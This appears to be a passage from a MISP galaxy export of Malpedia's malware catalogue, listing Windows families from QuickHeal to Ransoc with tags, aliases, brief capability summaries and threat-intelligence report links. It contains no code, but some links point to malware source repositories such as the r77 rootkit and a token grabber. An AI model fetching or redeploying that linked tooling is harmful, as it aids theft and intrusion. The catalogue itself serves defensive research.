https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time

https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4

https://blog.qualys.com/vulnerabilities-threat-research/2022/07/29/new-qualys-research-report-evolution-of-quasar-rat

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?

https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-sponsored-actors-try-clickfix

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://twitter.com/struppigel/status/1130455143504318466

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html

https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html

https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html

https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf

https://github.com/jeFF0Falltrades/rat_king_parser

https://www.bleepingcomputer.com/news/security/malware-now-using-nvidias-stolen-code-signing-certificates/

https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite

https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html

https://www.securonix.com/blog/analyzing-obscurebat-threat-actors-lure-victims-into-executing-malicious-batch-scripts-to-deploy-stealthy-rootkits

https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols

https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass

https://www.youtube.com/watch?v=yimh33nSOt8

https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/

https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments

https://blog.minerva-labs.com/trapping-quasar-rat

https://www.secureworks.com/research/threat-profiles/bronze-riverside

https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf

https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

https://blog.reversinglabs.com/blog/rats-in-the-library

https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage

https://blog.malwarelab.pl/posts/venom/

https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf

https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf

https://twitter.com/malwrhunterteam/status/789153556255342596

https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://embee-research.ghost.io/shodan-censys-queries/
https://embeeresearch.io/shodan-censys-queries/
https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://intel471.com/blog/privateloader-malware
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://medium.com/cycraft/supply-chain-attack-targeting-taiwan-financial-sector-bae2f0962934
https://www.bleepingcomputer.com/news/security/trojanized-dnspy-app-drops-malware-cocktail-on-researchers-devs/
https://www.cisa.gov/news-events/analysis-reports/ar18-352a
https://blog.ensilo.com/uncovering-new-activity-by-apt10
https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga

QuickHeal

The tag is: *misp-galaxy:malpedia="QuickHeal"*

QuickHeal is also known as:

Table 4867. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://securite360.net/a-painful-quickheal
https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42

QUICKMUTE

QuickMute is a malware developed using the C/C++ programming language. Functionally provides download, RC4 decryption, and in-memory launch of the payload (waiting for a PE file with the export function "HttpsVictimMain"). To communicate with the management server, a number of protocols are provided, in particular: TCP, UDP, HTTP, HTTPS.

The tag is: *misp-galaxy:malpedia="QUICKMUTE"*

QUICKMUTE is also known as:

Table 4868. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute
https://cert.gov.ua/article/375404

QUIETCANARY

The tag is: *misp-galaxy:malpedia="QUIETCANARY"*

QUIETCANARY is also known as:

- Kapushka
- Tunnus

Table 4869. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quietcanary
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://www.mandiant.com/resources/blog/turla-galaxy-opportunity
https://securelist.com/it-threat-evolution-q2-2023/110355/

QuietSieve

According to Microsoft, this is a heavily obfuscated .NET malware, primarily geared towards the exfiltration of data from the compromised host. But it can also receive and execute a remote payload from the operator.

The tag is: *misp-galaxy:malpedia="QuietSieve"*

QuietSieve is also known as:

Table 4870. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.quietsieve
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/
https://www.microsoft.com/en-us/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

QuirkyLoader

According to X-Force, this is a loader module written in .NET languages for which ahead-of-time (AOT) compilation is used.

The tag is: *misp-galaxy:malpedia="QuirkyLoader"*

QuirkyLoader is also known as:

Table 4871. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quirkyloader
https://www.ibm.com/think/x-force/ibm-x-force-threat-analysis-quirkyloader

QuiteRAT

QuiteRAT is a simple remote access trojan written with the help of Qt libraries.

After sending preliminary system information to its C&C server, it expects a response containing either a supported command code or an actual Windows command (like systeminfo or ipconfig with parameters) to execute.

It was deployed in a campaign exploiting a ManageEngine ServiceDesk vulnerability (CVE-2022-47966).

The tag is: *misp-galaxy:malpedia="QuiteRAT"*

QuiteRAT is also known as:

- Acres

Table 4872. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quiterat
https://asec.ahnlab.com/ko/56256/
https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966
https://blog.talosintelligence.com/lazarus-quiterat/
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf

Qulab

Qulab is an AutoIT Malware focusing on stealing & clipping content from victim's machines.

The tag is: *misp-galaxy:malpedia="Qulab"*

Qulab is also known as:

Table 4873. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qulab
https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/

QvoidStealer

The tag is: *misp-galaxy:malpedia="QvoidStealer"*

QvoidStealer is also known as:

- Qvoid-Token-Grabber

Table 4874. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qvoidstealer
https://github.com/Enum0x539/Qvoid-Token-Grabber

r77

According to the author, r77 is a ring 3 rootkit that hides everything: * Files, directories * Processes & CPU usage * Registry keys & values * Services * TCP & UDP connections * Junctions, named pipes, scheduled tasks

The tag is: *misp-galaxy:malpedia="r77"*

r77 is also known as:

- r77 Rootkit

Table 4875. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.r77
https://twitter.com/malmoeb/status/1523179260273254407
https://www.securonix.com/blog/analyzing-obscurebat-threat-actors-lure-victims-into-executing-malicious-batch-scripts-to-deploy-stealthy-rootkits

https://harfanglab.io/insidethelab/unpacking-packxor/
https://github.com/bytecode77/r77-rootkit

r980

The tag is: *misp-galaxy:malpedia="r980"*

r980 is also known as:

Table 4876. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.r980
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/

Raccoon

Raccoon Stealer is a malware reportedly sold for $75 a week or $200 a month. It gathers personal information including passwords, browser cookies and autofill data, as well as cryptowallet details. Additionally, Raccoon Stealer records system information such as IP addresses and geo-location data.

The tag is: *misp-galaxy:malpedia="Raccoon"*

Raccoon is also known as:

- Mohazo
- RaccoonStealer
- Racealer
- Racoon

Table 4877. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon
https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family
https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/
https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-operator-gets-5-years-in-prison-after-guilty-plea/amp/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf

https://decoded.avast.io/threatresearch/avast-q2-2022-threat-report/

https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf

https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/

https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block

https://www.justice.gov/usao-wdtx/pr/newly-unsealed-indictment-charges-ukrainian-national-international-cybercrime-operation

https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/

https://www.malwarebytes.com/blog/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing

https://www.youtube.com/watch?v=1dbepxN2YD8

https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

https://www.youtube.com/watch?v=5KHZSmBeMps

https://ke-la.com/information-stealers-a-new-landscape/

https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer

https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/

https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/

https://asec.ahnlab.com/ko/25837/

https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/

https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a

https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf

https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html

https://labs.k7computing.com/index.php/raccoon-back-with-new-claws/

https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf

https://drive.google.com/file/d/13HEi9Px8V583sRkUG4Syawuw5qwU-W9Q/view

https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/RaccoonStealer_V2.0/Raccon%20Stealer%20Technical%20Analysis%20Report.pdf

https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/
https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/
https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram
https://www.riskiq.com/blog/labs/magecart-medialand/
https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/
https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore
https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://twitter.com/GroupIB_GIB/status/1570821174736850945
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
https://cyberint.com/blog/financial-services/raccoon-stealer/
https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf
https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/
https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-recordbreaker-f6400c11d58b
https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/
https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949
https://www.zerofox.com/blog/brief-raccoon-stealer-version-2-0/
https://asec.ahnlab.com/en/35981/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d
https://www.youtube.com/watch?v=kfl_2_NBVGc
https://www.group-ib.com/blog/fakesecurity_raccoon
https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8
https://www.secureworks.com/research/the-growing-threat-from-infostealers
https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html
https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/
https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon
https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1
https://d01a.github.io/raccoon-stealer/
https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/

https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d[https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d]
https://www.cybercrimediaries.com/post/russian-language-cybercriminal-forums-analyzing-the-most-active-and-renowned-communities
https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/
https://www.team-cymru.com/post/inside-the-v1-raccoon-stealer-s-den

Racket Downloader

Racket Downloader is an HTTP(S) downloader.

It uses a custom substitution cipher for decryption of its character strings, and RC5 with a 256-bit key for encryption and decryption of network traffic.

It sends an HTTP POST request containing a particular value that inspired its name, like "?product_field=racket" or "prd_fld=racket".

Racket Downloader was deployed against South Korean targets running the Initech INISAFE CrossWeb EX software in Q2 2021 and Q1 2022.

The tag is: *misp-galaxy:malpedia="Racket Downloader"*

Racket Downloader is also known as:

Table 4878. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.racket
https://medium.com/s2wlab/analysis-of-lazarus-malware-abusing-non-activex-module-in-south-korea-7d52b9539c12
https://asec.ahnlab.com/ko/40495/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/
https://asec.ahnlab.com/en/33801/

Rad

The tag is: *misp-galaxy:malpedia="Rad"*

Rad is also known as:

Table 4879. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rad
https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf

Radamant

The tag is: *misp-galaxy:malpedia="Radamant"*

Radamant is also known as:

Table 4880. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant

RadRAT

The tag is: *misp-galaxy:malpedia="RadRAT"*

RadRAT is also known as:

Table 4881. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

RagnarLocker (Windows)

The tag is: *misp-galaxy:malpedia="RagnarLocker (Windows)"*

RagnarLocker (Windows) is also known as:

Table 4882. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker
https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf
https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html
https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/
http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html
https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/

https://securelist.com/targeted-ransomware-encrypting-data/99255/

https://techcrunch.com/2023/10/20/ragnarlocker-ransomware-dark-web-portal-seized-in-international-sting/?guccounter=1

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/

https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

https://seguranca-informatica.pt/ragnar-locker-malware-analysis/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/

https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/

https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html

https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom

https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf

https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/

https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://www.acronis.com/en-sg/articles/ragnar-locker/
https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information
https://resources.prodaft.com/wazawaka-report
https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://twitter.com/AltShiftPrtScn/status/1403707430765273095
https://www.ic3.gov/Media/News/2022/220307.pdf
https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html
http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html

Ragnarok

According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system's Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.

The tag is: *misp-galaxy:malpedia="Ragnarok"*

Ragnarok is also known as:

Table 4883. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://news.sophos.com/en-us/2020/05/21/asnarok2/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/
https://www.tarlogic.com/blog/ragnarok-malware-stopper-vaccine/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw
https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/

RAILSETTER

According to Trend Micro, RAILSETTER is a persistence installer component designed to work with RAILLOAD. Its main functions include: Copying and renaming RAILLOAD's intended host from System32 to the intended target directory; Timestomping RAILLOAD and its host's create, access, and modify time; Creating a scheduled task for persistence.

The tag is: *misp-galaxy:malpedia="RAILSETTER"*

RAILSETTER is also known as:

Table 4884. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.railsetter
https://www.trendmicro.com/en_us/research/25/c/the-espionage-toolkit-of-earth-alux.html

Raindrop

Raindrop is a loader for Cobalt Strike that was observed in the SolarWinds attack.

The tag is: *misp-galaxy:malpedia="Raindrop"*

Raindrop is also known as:

Table 4885. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.raindrop
https://www.youtube.com/watch?v=GfbxHy6xnbA
https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf

https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://www.mandiant.com/resources/unc2452-merged-into-apt29
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
https://www.sans.org/webcasts/contrarian-view-solarwinds-119515

Rakhni

The tag is: *misp-galaxy:malpedia="Rakhni"*

Rakhni is also known as:

Table 4886. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rakhni
https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/

RALord

A ransomware written in Rust.

The tag is: *misp-galaxy:malpedia="RALord"*

RALord is also known as:

Table 4887. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ralord
https://x.com/MalGamy12/status/1905020136211275777
https://ish.com.br/wp-content/uploads/2025/04/RALord-Novo-grupo-de-Ransomware-as-a-Service-1.pdf

Rambo

The tag is: *misp-galaxy:malpedia="Rambo"*

Rambo is also known as:

- brebsd

Table 4888. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2017-02-15-the-rambo-backdoor.md
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf
https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html

Ramdo

The tag is: *misp-galaxy:malpedia="Ramdo"*

Ramdo is also known as:

Table 4889. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo

Ramnit

According to Check Point, Ramnit is primarily a banking trojan, meaning that its purpose is to steal login credentials for online banking, which cybercriminals can sell or use in future attacks. For this reason, Ramnit primarily targets individuals rather than focusing on particular industries.

Ramnit campaigns have been observed to target organizations in particular industries. For example, a 2019 campaign targeted financial organizations in the United Kingdom, Italy, and Canada.

The tag is: *misp-galaxy:malpedia="Ramnit"*

Ramnit is also known as:

- Nimnul

Table 4890. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit
https://securityintelligence.com/posts/ramnit-banking-trojan-stealing-card-data/
http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html

https://bin.re/blog/the-dga-of-ramnit/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/
https://informationsecurity.report/Resources/Whitepapers/b201d876-c5df-486d-975e-2dc08eb85f02_W32.Ramnit%20analysis.pdf
https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail
http://www.secureworks.com/research/threat-profiles/gold-fairfax
https://redcanary.com/resources/webinars/deep-dive-process-injection/
https://blogs.akamai.com/2019/02/ramnit-in-the-uk.html
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf
https://www.youtube.com/watch?v=l6ZunH6YG0A
https://securelist.com/financial-cyberthreats-in-2020/101638/
http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html
https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89
https://www.youtube.com/watch?v=N4f2e8Mygag
https://muha2xmad.github.io/unpacking/ramnit/
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://artik.blue/malware4
https://research.checkpoint.com/ramnits-network-proxy-servers/
http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest

Ramsay

The tag is: *misp-galaxy:malpedia="Ramsay"*

Ramsay is also known as:

Table 4891. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay
https://www.antiy.cn/research/notice&report/research_report/20200522.html
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html
https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/
https://www.youtube.com/watch?v=SKIu4LqMrns
https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html

Ranbyus

The tag is: *misp-galaxy:malpedia="Ranbyus"*

Ranbyus is also known as:

Table 4892. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus
https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/
https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/
https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/
https://bin.re/blog/the-dga-of-ranbyus/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://bin.re/blog/ranbyuss-dga-revisited/
https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf
http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html

Ranion

Ransomware.

The tag is: *misp-galaxy:malpedia="Ranion"*

Ranion is also known as:

Table 4893. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ranion
https://www.fortinet.com/blog/threat-research/ranion-ransomware-quiet-and-persistent-raas

Ranscam

The tag is: *misp-galaxy:malpedia="Ranscam"*

Ranscam is also known as:

Table 4894. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam
http://blog.talosintel.com/2016/07/ranscam.html

Ransoc

The tag is: *misp-galaxy:malpedia="Ransoc"*

Ransoc is also known as:

Table 4895. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc
